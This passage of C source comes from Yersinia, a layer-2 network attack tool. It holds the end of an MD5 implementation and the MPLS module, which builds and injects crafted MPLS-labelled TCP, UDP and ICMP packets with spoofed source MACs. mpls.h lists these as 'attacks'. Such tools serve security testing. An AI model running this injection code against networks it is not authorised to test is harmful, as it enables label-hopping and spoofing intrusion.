d, a, in[1] + 0x85845dd1, 21); MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); #endif buf[0] += a; buf[1] += b; buf[2] += c; buf[3] += d; } #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C/C++
yersinia/src/md5.h
#ifndef MD5_H #define MD5_H #ifdef SOLARIS typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #endif struct MD5Context { u_int32_t buf[4]; u_int32_t bits[2]; unsigned char in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned char const *buf, unsigned len); void MD5Final(unsigned char digest[16], struct MD5Context *context); void MD5Transform(u_int32_t buf[4], u_int32_t const in[16]); #ifdef REMARK /* This' been commented out because it conflicts with openssl */ /* * This is needed to make RSAREF happy on some MS-DOS compilers. */ typedef struct MD5Context MD5_CTX; #endif /* REMARK */ #endif /* !MD5_H */
C
yersinia/src/mpls.c
/* mpls.c * Implementation and attacks for MultiProtocol Label Switching * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include "mpls.h" void mpls_register(void) { protocol_register(PROTO_MPLS, "MPLS", "MultiProtocol Label Switching", "mpls", sizeof(struct mpls_data), mpls_init_attribs, mpls_learn_packet, mpls_get_printable_packet, mpls_get_printable_store, mpls_load_values, mpls_attack, mpls_update_field, mpls_features, mpls_comm_params, SIZE_ARRAY(mpls_comm_params), NULL, 0, NULL, mpls_init_comms_struct, PROTO_VISIBLE, mpls_end); } int8_t mpls_init_comms_struct(struct term_node *node) { struct mpls_data *mpls_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(mpls_comm_params)); if (comm_param == NULL) { thread_error("mpls_init_comms_struct calloc error",errno); return -1; } mpls_data = node->protocol[PROTO_MPLS].tmp_data; node->protocol[PROTO_MPLS].commands_param = comm_param; comm_param[MPLS_SMAC] = &mpls_data->mac_source; comm_param[MPLS_DMAC] = &mpls_data->mac_dest; comm_param[MPLS_LABEL1] = &mpls_data->label1; comm_param[MPLS_EXP1] = &mpls_data->exp1; comm_param[MPLS_BOTTOM1] = &mpls_data->bottom1; comm_param[MPLS_TTL1] = &mpls_data->ttl1; comm_param[MPLS_LABEL2] = &mpls_data->label2; comm_param[MPLS_EXP2] = &mpls_data->exp2; comm_param[MPLS_BOTTOM2] = &mpls_data->bottom2; comm_param[MPLS_TTL2] = &mpls_data->ttl2; comm_param[MPLS_SRC_IP] = &mpls_data->src_ip; comm_param[MPLS_SRC_PORT] = &mpls_data->src_port; comm_param[MPLS_DST_IP] = &mpls_data->dst_ip; comm_param[MPLS_DST_PORT] = &mpls_data->dst_port; comm_param[MPLS_PAYLOAD] = &mpls_data->ip_payload; comm_param[15] = NULL; comm_param[16] = NULL; return 0; } int8_t mpls_init_attribs(struct term_node *node) { struct mpls_data *mpls_data; mpls_data = node->protocol[PROTO_MPLS].tmp_data; attack_gen_mac(mpls_data->mac_source); mpls_data->mac_source[0] &= 0x0E; parser_vrfy_mac(MPLS_DFL_MAC_DST,mpls_data->mac_dest); mpls_data->proto = IPPROTO_TCP; /* TCP MPLS default... */ mpls_data->double_hdr = 0; /* Just 1 MPLS header...*/ mpls_data->bottom1 = 1; mpls_data->src_ip = ntohl(inet_addr(MPLS_DFL_SRC_IP)); mpls_data->src_port = MPLS_DFL_SRC_PORT; mpls_data->dst_ip = ntohl(inet_addr(MPLS_DFL_DST_IP)); mpls_data->dst_port = MPLS_DFL_DST_PORT; memcpy(mpls_data->ip_payload,MPLS_DFL_PAYLOAD,sizeof(MPLS_DFL_PAYLOAD)); mpls_data->ip_pay_len = MPLS_DFL_PAY_LEN; return 0; } void mpls_th_send_tcp(void *arg) { struct attacks *attacks=NULL; struct mpls_data *mpls_data; attacks = arg; mpls_data = attacks->data; mpls_data->proto = IPPROTO_TCP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_th_send_double_tcp(void *arg) { struct attacks *attacks=NULL; struct mpls_data *mpls_data; attacks = arg; mpls_data = attacks->data; mpls_data->double_hdr = 1; mpls_data->proto = IPPROTO_TCP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_th_send_udp(void *arg) { struct attacks *attacks=NULL; struct mpls_data *mpls_data; attacks = arg; mpls_data = attacks->data; mpls_data->proto = IPPROTO_UDP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_th_send_double_udp(void *arg) { struct attacks *attacks=NULL; struct mpls_data *mpls_data; attacks = arg; mpls_data = attacks->data; mpls_data->double_hdr = 1; mpls_data->proto = IPPROTO_UDP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_th_send_icmp(void *arg) { struct attacks *attacks=NULL; struct mpls_data *mpls_data; attacks = arg; mpls_data = attacks->data; mpls_data->proto = IPPROTO_ICMP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_th_send_double_icmp( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct mpls_data *mpls_data; mpls_data = attacks->data; mpls_data->double_hdr = 1; mpls_data->proto = IPPROTO_ICMP; mpls_send(attacks); mpls_th_send_exit(attacks); } void mpls_send( struct attacks *attacks ) { sigset_t mask; struct mpls_data *mpls_data; libnet_ptag_t t; libnet_t *lhandler; int32_t sent; int32_t payload_size=0, packet_size=0; u_int8_t *payload=NULL; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); mpls_data = attacks->data; sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("mpls_send pthread_sigmask()",errno); return; } if ( mpls_data->ip_payload[0] ) { payload_size = strlen((const char *)mpls_data->ip_payload); payload = mpls_data->ip_payload; } for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = -1 ; switch(mpls_data->proto) { case IPPROTO_TCP: packet_size = LIBNET_TCP_H + payload_size; t = libnet_build_tcp( mpls_data->src_port, /* source port */ mpls_data->dst_port, /* destination port */ 0x666, /* sequence number */ 0x00000000, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ packet_size, /* TCP packet size */ payload, /* payload */ payload_size, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ break; case IPPROTO_UDP: packet_size = LIBNET_UDP_H + payload_size; t = libnet_build_udp( mpls_data->src_port, /* source port */ mpls_data->dst_port, /* destination port */ packet_size, /* UDP packet size */ 0, /* checksum */ payload, /* payload */ payload_size, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ break; case IPPROTO_ICMP: packet_size = LIBNET_ICMPV4_ECHO_H + payload_size; t = libnet_build_icmpv4_echo( ICMP_ECHO, /* type */ 0, /* code */ 0, /* checksum */ 0x42, /* id */ 0x42, /* sequence number */ payload, /* payload */ payload_size, /* payload size */ lhandler, /* libnet handle */ 0); break; } if (t == -1) { thread_libnet_error("Can't build tcp/udp/icmp header",lhandler); libnet_clear_packet(lhandler); return; } t = libnet_build_ipv4( LIBNET_IPV4_H + packet_size, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 128, /* TTL */ mpls_data->proto, /* protocol */ 0, /* checksum */ htonl(mpls_data->src_ip), /* source IP */ htonl(mpls_data->dst_ip), /* destination IP */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build IP header",lhandler); libnet_clear_packet(lhandler); return; } t = libnet_build_mpls( mpls_data->label1, /* label */ mpls_data->exp1, /* experimental */ LIBNET_MPLS_BOS_ON, /* bottom of stack */ mpls_data->ttl1, /* ttl */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build MPLS header",lhandler); libnet_clear_packet(lhandler); return; } if (mpls_data->double_hdr) { t = libnet_build_mpls( mpls_data->label2, /* label */ mpls_data->exp2, /* experimental */ LIBNET_MPLS_BOS_OFF, /* bottom of stack */ mpls_data->ttl2, /* ttl */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build MPLS header",lhandler); libnet_clear_packet(lhandler); return; } } t = libnet_build_ethernet( mpls_data->mac_dest, /* ethernet destination */ mpls_data->mac_source, /* ethernet source */ ETHERTYPE_MPLS, /* protocol type */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build Ethernet header",lhandler); libnet_clear_packet(lhandler); return; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return; } libnet_clear_packet(lhandler); protocols[PROTO_MPLS].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_MPLS]++; } } void mpls_th_send_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t mpls_learn_packet( struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header ) { struct mpls_data *mpls_data = (struct mpls_data *)data; struct interface_data *iface_data; struct pcap_data pcap_aux; u_int8_t *packet, got_mpls_pkt = 0; int8_t ret = -1 ; dlist_t *p; if (iface) { p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface); if (!p) return -1; iface_data = (struct interface_data *) dlist_data(p); } else iface_data = NULL; packet = (u_int8_t *)calloc( 1, SNAPLEN ); if ( packet ) { while (!got_mpls_pkt && !(*stop)) { interfaces_get_packet(attacks->used_ints, iface_data, stop, header, packet, PROTO_MPLS, NO_TIMEOUT); if ( !(*stop) ) { pcap_aux.header = header; pcap_aux.packet = packet; if (!mpls_load_values((struct pcap_data *)&pcap_aux, mpls_data)) { got_mpls_pkt = 1; ret = 0 ; } } } free(packet); } return ret ; } /* * Load values from packet to data. * At the moment this function is called only * from ncurses-gui.c */ int8_t mpls_load_values(struct pcap_data *data, void *values) { struct libnet_ethernet_hdr *ether; struct mpls_data *mpls; u_int16_t *cursor16; u_int8_t *ip, *cursor8, ip_proto; #ifndef LBL_ALIGN struct libnet_ipv4_hdr *ipv4_hdr; #endif mpls = (struct mpls_data *)values; if (data->header->caplen < (14+4+20+8) ) /* Undersized packet!! */ return -1; ether = (struct libnet_ethernet_hdr *) data->packet; /* Source MAC */ memcpy(mpls->mac_source, ether->ether_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(mpls->mac_dest, ether->ether_dhost, ETHER_ADDR_LEN); cursor8 = (u_int8_t *)(data->packet + LIBNET_ETH_H); mpls->label1 = MPLS_GET_LABEL(cursor8); mpls->exp1 = MPLS_GET_EXP(cursor8); mpls->bottom1 = MPLS_GET_BOTTOM(cursor8); mpls->ttl1 = MPLS_GET_TTL(cursor8); if (!mpls->bottom1) { cursor8 += sizeof(struct mpls_header); mpls->label2 = MPLS_GET_LABEL(cursor8); mpls->exp2 = MPLS_GET_EXP(cursor8); mpls->bottom2 = MPLS_GET_BOTTOM(cursor8); mpls->ttl2 = MPLS_GET_TTL(cursor8); } ip = cursor8 + sizeof(struct mpls_header); /* Undersized packet!! */ if ( (ip+20) > (data->packet + data->header->caplen)) return 0; #ifdef LBL_ALIGN ip_proto = *(ip+9); memcpy((void *)&mpls->src_ip, (ip+12), 4); memcpy((void *)&mpls->dst_ip, (ip+16), 4); #else ipv4_hdr = (struct libnet_ipv4_hdr *)ip; mpls->src_ip = ntohl(ipv4_hdr->ip_src.s_addr); mpls->dst_ip = ntohl(ipv4_hdr->ip_dst.s_addr); ip_proto = ipv4_hdr->ip_p; #endif cursor16 = (u_int16_t *)(ip+20); switch(ip_proto) { case IPPROTO_TCP: case IPPROTO_UDP: mpls->src_port = ntohs(*cursor16); cursor16++; mpls->dst_port = ntohs(*cursor16); break; } return 0; } /* * Return formated strings of each MPLS field * * Refresh callback for the ncurses main window */ char ** mpls_get_printable_packet(struct pcap_data *data) { struct libnet_ethernet_hdr *ether; u_int16_t *cursor16; char **field_values; u_int8_t *ip, *cursor8, ip_proto; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif if ( ! data ) return NULL; if (data && (data->header->caplen < (14+4+20+8)) ) /* Undersized packet!! */ return NULL; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_MPLS].nparams, protocols[PROTO_MPLS].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_ethernet_hdr *) data->packet; /* Source MAC */ snprintf(field_values[MPLS_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_shost[0], ether->ether_shost[1], ether->ether_shost[2], ether->ether_shost[3], ether->ether_shost[4], ether->ether_shost[5]); /* Destination MAC */ snprintf(field_values[MPLS_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_dhost[0], ether->ether_dhost[1], ether->ether_dhost[2], ether->ether_dhost[3], ether->ether_dhost[4], ether->ether_dhost[5]); cursor8 = (u_int8_t *) (data->packet + LIBNET_ETH_H); snprintf(field_values[MPLS_LABEL1], 9, "%d", MPLS_GET_LABEL(cursor8)); snprintf(field_values[MPLS_EXP1], 4, "%03d", MPLS_GET_EXP(cursor8)); snprintf(field_values[MPLS_BOTTOM1], 2, "%01d", MPLS_GET_BOTTOM(cursor8)); snprintf(field_values[MPLS_TTL1], 4, "%d", MPLS_GET_TTL(cursor8)); if (!MPLS_GET_BOTTOM(cursor8)) { cursor8 += sizeof(struct mpls_header); snprintf(field_values[MPLS_LABEL2], 9, "%d", MPLS_GET_LABEL(cursor8)); snprintf(field_values[MPLS_EXP2], 4, "%03d", MPLS_GET_EXP(cursor8)); snprintf(field_values[MPLS_BOTTOM2], 2, "%01d", MPLS_GET_BOTTOM(cursor8)); snprintf(field_values[MPLS_TTL2], 4, "%d", MPLS_GET_TTL(cursor8)); } ip = cursor8 + sizeof(struct mpls_header); /* Undersized packet!! */ if ( (ip+20) > (data->packet + data->header->caplen)) return (char **)field_values; ip_proto = *(ip+9); /* Source IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip+12), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[MPLS_SRC_IP], 16,0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(ip+12)), field_values[MPLS_SRC_IP], 16,0); #endif /* Destination IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip+16), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[MPLS_DST_IP], 16,0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(ip+16)), field_values[MPLS_DST_IP], 16,0); #endif cursor16 = (u_int16_t *)(ip+20); switch(ip_proto) { case IPPROTO_TCP: case IPPROTO_UDP: /* Source port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, cursor16, 2); snprintf(field_values[MPLS_SRC_PORT], 5, "%hd", ntohs(aux_short)); #else snprintf(field_values[MPLS_SRC_PORT], 5, "%hd", ntohs(*cursor16)); #endif cursor16++; /* Destination port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, cursor16, 2); snprintf(field_values[MPLS_DST_PORT], 5, "%hd", ntohs(aux_short)); #else snprintf(field_values[MPLS_DST_PORT], 5, "%hd", ntohs(*cursor16)); #endif break; } return field_values; } /* * Callback for refresh the ncurses bottom window (fields window) */ char ** mpls_get_printable_store(struct term_node *node) { struct mpls_data *mpls_tmp; char **field_values; #ifdef LBL_ALIGN u_int8_t *aux; #endif /* smac + dmac + double + vlan1 + priority + cfi1 + tpi1 + vlan2 + * priority2 + cfi2 + tpi3 + src + dst + proto + arp + vlan + null = 17 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_MPLS].nparams, protocols[PROTO_MPLS].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) mpls_tmp = protocols[PROTO_MPLS].default_values; else mpls_tmp = (struct mpls_data *) node->protocol[PROTO_MPLS].tmp_data; /* Source MAC */ snprintf(field_values[MPLS_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", mpls_tmp->mac_source[0], mpls_tmp->mac_source[1], mpls_tmp->mac_source[2], mpls_tmp->mac_source[3], mpls_tmp->mac_source[4], mpls_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[MPLS_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", mpls_tmp->mac_dest[0], mpls_tmp->mac_dest[1], mpls_tmp->mac_dest[2], mpls_tmp->mac_dest[3], mpls_tmp->mac_dest[4], mpls_tmp->mac_dest[5]); /* Source IP */ parser_get_formated_inet_address_fill(mpls_tmp->src_ip, field_values[MPLS_SRC_IP], 16,1); snprintf(field_values[MPLS_SRC_PORT], 6, "%05hd", mpls_tmp->src_port); /* Destination IP */ parser_get_formated_inet_address_fill(mpls_tmp->dst_ip, field_values[MPLS_DST_IP], 16,1); snprintf(field_values[MPLS_DST_PORT], 6, "%05hd", mpls_tmp->dst_port); memcpy(field_values[MPLS_PAYLOAD], mpls_tmp->ip_payload, MAX_IP_PAYLOAD); snprintf(field_values[MPLS_LABEL1], 9, "%08d",mpls_tmp->label1); snprintf(field_values[MPLS_LABEL2], 9, "%08d",mpls_tmp->label2); snprintf(field_values[MPLS_EXP1], 4, "%03d",mpls_tmp->exp1); snprintf(field_values[MPLS_BOTTOM1], 2, "%01d",mpls_tmp->bottom1); snprintf(field_values[MPLS_TTL1], 4, "%03d",mpls_tmp->ttl1); snprintf(field_values[MPLS_EXP2], 4, "%03d",mpls_tmp->exp2); snprintf(field_values[MPLS_BOTTOM2], 2, "%01d",mpls_tmp->bottom2); snprintf(field_values[MPLS_TTL2], 4, "%03d",mpls_tmp->ttl2); return field_values; } int8_t mpls_update_field(int8_t state, struct term_node *node, void *value) { struct mpls_data *mpls_data; if (node == NULL) mpls_data = protocols[PROTO_MPLS].default_values; else mpls_data = node->protocol[PROTO_MPLS].tmp_data; switch(state) { /* Source MAC */ case MPLS_SMAC: memcpy((void *)mpls_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case MPLS_DMAC: memcpy((void *)mpls_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Source IP */ case MPLS_SRC_IP: mpls_data->src_ip = *(u_int32_t *)value; break; case MPLS_SRC_PORT: mpls_data->src_port = *(u_int16_t *)value; break; case MPLS_DST_IP: mpls_data->dst_ip = *(u_int32_t *)value; break; case MPLS_DST_PORT: mpls_data->dst_port = *(u_int16_t *)value; break; case MPLS_LABEL1: mpls_data->label1 = *(u_int32_t *)value; break; case MPLS_EXP1: mpls_data->exp1 = *(u_int8_t *)value; break; case MPLS_BOTTOM1: mpls_data->bottom1 = *(u_int8_t *)value; break; case MPLS_TTL1: mpls_data->ttl1 = *(u_int8_t *)value; break; case MPLS_LABEL2: mpls_data->label2 = *(u_int32_t *)value; break; case MPLS_EXP2: mpls_data->exp2 = *(u_int8_t *)value; break; case MPLS_BOTTOM2: mpls_data->bottom2 = *(u_int8_t *)value; break; case MPLS_TTL2: mpls_data->ttl2 = *(u_int8_t *)value; break; default: break; } return 0; } int8_t mpls_end(struct term_node *node) { return 0; }
C/C++
yersinia/src/mpls.h
/* mpls.h * Definitions for MultiProtocol Label Switching * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __MPLS_H__ #define __MPLS_H__ #include <libnet.h> #include "terminal-defs.h" #include "interfaces.h" static struct proto_features mpls_features[] = { { F_ETHERTYPE, ETHERTYPE_MPLS }, { -1, 0 } }; struct mpls_header { u_int8_t byte0; u_int8_t byte1; u_int8_t byte2; u_int8_t byte3; }; #define MPLS_GET_LABEL(x) ( ( ( ( (struct mpls_header *)(x))->byte0 ) << 0x0C ) + \ ( ( ( (struct mpls_header *)(x))->byte1 ) << 0x04 ) + \ ( ( ( ((struct mpls_header *)(x))->byte2 ) >> 0x04 ) & 0xFF) ) #define MPLS_GET_EXP(x) ( ( ( ( (struct mpls_header *)(x))->byte2 ) >> 0x01 ) & 0x07 ) #define MPLS_GET_BOTTOM(x) ( ( ( ( (struct mpls_header *)(x))->byte2 ) & 0x01 ) ) #define MPLS_GET_TTL(x) ( ( ( ( (struct mpls_header *)(x))->byte3 ) ) ) #define MAX_IP_PAYLOAD 16 #define MPLS_DFL_MAC_DST "FF:FF:FF:FF:FF:FF" #define MPLS_DFL_SRC_IP "10.0.0.1" #define MPLS_DFL_SRC_PORT 666 #define MPLS_DFL_DST_IP "10.0.0.2" #define MPLS_DFL_DST_PORT 1998 #define MPLS_DFL_PAYLOAD "YERSINIA" #define MPLS_DFL_PAY_LEN 8 struct mpls_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t proto; u_int8_t double_hdr; u_int32_t label1; u_int8_t exp1; u_int8_t bottom1; u_int8_t ttl1; u_int32_t label2; u_int8_t exp2; u_int8_t bottom2; u_int8_t ttl2; u_int32_t src_ip; u_int16_t src_port; u_int32_t dst_ip; u_int16_t dst_port; u_int8_t ip_payload[MAX_IP_PAYLOAD+1]; u_int8_t ip_pay_len; }; #define MPLS_SMAC 0 #define MPLS_DMAC 1 #define MPLS_LABEL1 2 #define MPLS_EXP1 3 #define MPLS_BOTTOM1 4 #define MPLS_TTL1 5 #define MPLS_LABEL2 6 #define MPLS_EXP2 7 #define MPLS_BOTTOM2 8 #define MPLS_TTL2 9 #define MPLS_SRC_IP 10 #define MPLS_SRC_PORT 11 #define MPLS_DST_IP 12 #define MPLS_DST_PORT 13 #define MPLS_PAYLOAD 14 struct commands_param mpls_comm_params[] = { { MPLS_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { MPLS_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { MPLS_LABEL1, "label1","Label1", 4, FIELD_DEC, "Set MPLS label", " <0-65535> Label", 8, 2, 1, NULL, NULL }, { MPLS_EXP1, "exp1","Exp1", 1, FIELD_DEC, "Set MPLS Experimental bits", " <0-255> Experimental bits", 3, 2, 0, NULL, NULL }, { MPLS_BOTTOM1, "bottom1","Bottom1", 1, FIELD_DEC, "Set MPLS bottom stack flag", " <0-1> Bottom stack flag", 1, 2, 0, NULL, NULL }, { MPLS_TTL1, "ttl1","TTL1", 1, FIELD_DEC, "Set MPLS Time To Live", " <0-255> Time To Live units", 3, 2, 0, NULL, NULL }, { MPLS_LABEL2, "label2","Label2", 4, FIELD_DEC, "Set MPLS label (second)", " <0-65535> Label", 8, 3, 1, NULL, NULL }, { MPLS_EXP2, "exp2","Exp2", 1, FIELD_DEC, "Set MPLS Experimental bits (second)", " <0-255> Experimental bits", 3, 3, 0, NULL, NULL }, { MPLS_BOTTOM2, "bottom2","Bottom2", 1, FIELD_DEC, "Set MPLS bottom stack flag (second)", " <0-1> Bottom stack flag", 1, 3, 0, NULL, NULL }, { MPLS_TTL2, "ttl2","TTL2", 1, FIELD_DEC, "Set MPLS Time To Live (second)", " <0-255> Time To Live units", 3, 3, 0, NULL, NULL }, { MPLS_SRC_IP, "ipsource", "SrcIP", 4, FIELD_IP, "Set MPLS IP source data address", " A.A.A.A IPv4 address", 15, 4, 1, NULL, NULL }, { MPLS_SRC_PORT, "portsource","SrcPort", 2, FIELD_DEC, "Set TCP/UDP source port", " <0-65535> TCP/UDP source port", 5, 4, 0, NULL, NULL }, { MPLS_DST_IP, "ipdest", "DstIP", 4, FIELD_IP, "Set MPLS IP destination data address", " A.A.A.A IPv4 address", 15, 4, 1, NULL, NULL }, { MPLS_DST_PORT, "portdest", "DstPort", 2, FIELD_DEC, "Set TCP/UDP destination port", " <0-65535> TCP/UDP destination port", 5, 4, 0, NULL, NULL }, { MPLS_PAYLOAD, "payload", "Payload", MAX_IP_PAYLOAD, FIELD_STR, "Set MPLS IP payload", " WORD ASCII payload", MAX_IP_PAYLOAD, 5, 0, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " <cr>", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; #define MPLS_ATTACK_SEND_TCP 0 #define MPLS_ATTACK_SEND_DOUBLE_TCP 1 #define MPLS_ATTACK_SEND_UDP 2 #define MPLS_ATTACK_SEND_DOUBLE_UDP 3 #define MPLS_ATTACK_SEND_ICMP 4 #define MPLS_ATTACK_SEND_DOUBLE_ICMP 5 void mpls_th_send_tcp(void *); void mpls_th_send_double_tcp(void *); void mpls_th_send_udp(void *); void mpls_th_send_double_udp(void *); void mpls_th_send_icmp(void *); void mpls_th_send_double_icmp(void *); void mpls_send(struct attacks *); void mpls_th_send_exit(struct attacks *); static struct _attack_definition mpls_attack[] = { { MPLS_ATTACK_SEND_TCP, "sending TCP MPLS packet", NONDOS, SINGLE, mpls_th_send_tcp, NULL, 0 }, { MPLS_ATTACK_SEND_DOUBLE_TCP, "sending TCP MPLS with double header", NONDOS, SINGLE, mpls_th_send_double_tcp, NULL, 0 }, { MPLS_ATTACK_SEND_UDP, "sending UDP MPLS packet", NONDOS, SINGLE, mpls_th_send_udp, NULL, 0 }, { MPLS_ATTACK_SEND_DOUBLE_UDP, "sending UDP MPLS with double header", NONDOS, SINGLE, mpls_th_send_double_udp, NULL, 0 }, { MPLS_ATTACK_SEND_ICMP, "sending ICMP MPLS packet", NONDOS, SINGLE, mpls_th_send_icmp, NULL, 0 }, { MPLS_ATTACK_SEND_DOUBLE_ICMP, "sending ICMP MPLS with double header", NONDOS, SINGLE, mpls_th_send_double_icmp, NULL, 0 }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void mpls_register(void); int8_t mpls_init_attribs(struct term_node *); int8_t mpls_init_comms_struct(struct term_node *); int8_t mpls_end(struct term_node *); int8_t mpls_update_field(int8_t state, struct term_node *node, void *value); char **mpls_get_printable_store(struct term_node *node); int8_t mpls_load_values(struct pcap_data *data, void *values); int8_t mpls_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header); char **mpls_get_printable_packet(struct pcap_data *data); extern void thread_libnet_error( char *, libnet_t *); extern int8_t vrfy_bridge_id( char *, u_int8_t * ); extern int8_t thread_create( THREAD *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_get_formated_inet_address_fill(u_int32_t in, char *inet, u_int16_t inet_len, int8_t fill_up); extern int8_t parser_command2index(register const struct _attack_definition *, register 